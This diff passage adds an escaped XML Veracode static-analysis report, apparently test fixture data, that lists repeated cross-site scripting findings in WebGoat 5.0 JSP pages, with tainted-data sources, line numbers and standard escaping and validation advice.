+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
